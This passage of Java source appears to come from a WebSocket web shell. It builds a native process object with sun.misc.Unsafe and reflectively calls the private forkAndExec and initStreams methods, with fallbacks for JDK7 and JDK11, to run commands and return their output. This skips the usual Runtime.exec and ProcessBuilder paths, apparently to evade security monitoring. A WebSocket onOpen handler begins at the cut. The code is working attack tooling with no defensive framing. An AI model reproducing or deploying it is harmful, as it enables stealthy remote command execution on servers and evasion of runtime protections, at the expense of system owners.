Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;